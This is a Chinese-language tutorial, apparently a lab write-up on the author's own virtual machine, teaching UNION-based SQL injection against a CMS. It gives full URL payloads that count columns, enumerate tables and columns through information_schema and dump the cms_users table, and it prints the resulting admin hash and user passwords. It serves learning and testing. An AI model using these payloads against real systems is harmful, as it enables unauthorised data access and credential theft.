1.联合查询
其余web文章参考:web学习目录
联合查询适用于数据库中的内容会回显到页面中的情况,联合查询就是利用union select语句,该语句会同时执行两条select语句,实现跨库,跨表查询
必要条件
- 两条select语句查询结果具有相同列数
- 对应列的数据类型相同(必要时候可以不同)
以自身虚拟机为例
此处id变化,内容也会变
select * from tbNAME where id=32 //差不多类似函数
select * from tbNAME where id=32 union select …………
order by //根据指定的列对结果集进行排序,默认生序。比如 order by 2就是根据第二列对指定的结果排序,如果不报错就说明有第二列
判断列数
通过HackBar插件获取url,进行order by拼接,由小到大依次判断有多少列,当执行第15的时候无报错,但是执行第16的时候有报错,说明一共15列
判断显示位置
通过HackBar插件(或者手动输入1,2,3……,15),输入15
去除掉order by,并且把前面的select语句不显示(为假),看看后面有哪些输出,执行后发现3的位置有输出
此处可以把3的位置换成敏感信息
?id=32 and 1=2 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 //显示当前连接的数据库名称
?id=32 and 1=2 UNION SELECT 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15
?id=32 and 1=2 UNION SELECT 1,2,@@datadir,4,5,6,7,8,9,10,11,12,13,14,15 //查看数据库路径
?id=32 and 1=2 UNION SELECT 1,2,current_user(),4,5,6,7,8,9,10,11,12,13,14,15
如果想要获取管理员的账号密码,依次获得数据库名、表名、列(字段)名、数据
数据库名
?id=32 and 1=2 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 //当前数据库名字为“cms”
表名
information_schema这个数据库存储着mysql服务器所维护的其他数据库的元数据所有信息,比如表名、列名、访问权限
tables这张表里面的:table_name字段:存储了所有的表名
table_schema字段:存储了所有的数据库名
columns这张表里面的:column_name存储了所有的列名
table_name字段:存储了所有的表名
table_schema字段:存储了所有的数据库名
?id=32 and 1=2 UNION SELECT 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema = database()
//此处运算结果为8,表示cms一共有8张表。count(*)是计数,database()是个内置函数,表示当前连接的数据库。
//这句话意思一共查询出来有8个cms数据库名称,说明cms数据库有8张表
?id=32 and 1=2 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema = database() limit 0,1
//limit 0,1是指从偏移量为0的地方,取一个数。如果是limit 1,1就是从偏移量为1的地方取一个数
//这句话就是取cms数据库的第一张表
//如果直接用table_name会数据类型不同,先用16进制转一下,再通过BP转回来,此处选择ASCII hex
一个一个取比较麻烦,可以通过group_concat()函数一次性取出来
?id=32 and 1=2 UNION SELECT 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema = database()
//最终运算结果为:636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
解码后:cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
到此,已经得到了所有的表
列(字段)名
后台密码是在cms_users这张表里面
?id=32 and 1=2 UNION SELECT 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema = database() and table_name = 'cms_users'
//查询这张表里面的字段名
//结果为:7573657269642C757365726E616D652C70617373776F7264
//翻译为:userid,username,password
得到数据
concat():返回结果为连接产生的字符串
?id=32 and 1=2 UNION SELECT 1,2,hex(group_concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users
//结果为:61646D696E3A65313061646333393439626135396162626535366530353766323066383833652C6D656E67313A3132332C6D656E67323A323334
//翻译为:admin:e10adc3949ba59abbe56e057f20f883e,meng1:123,meng2:234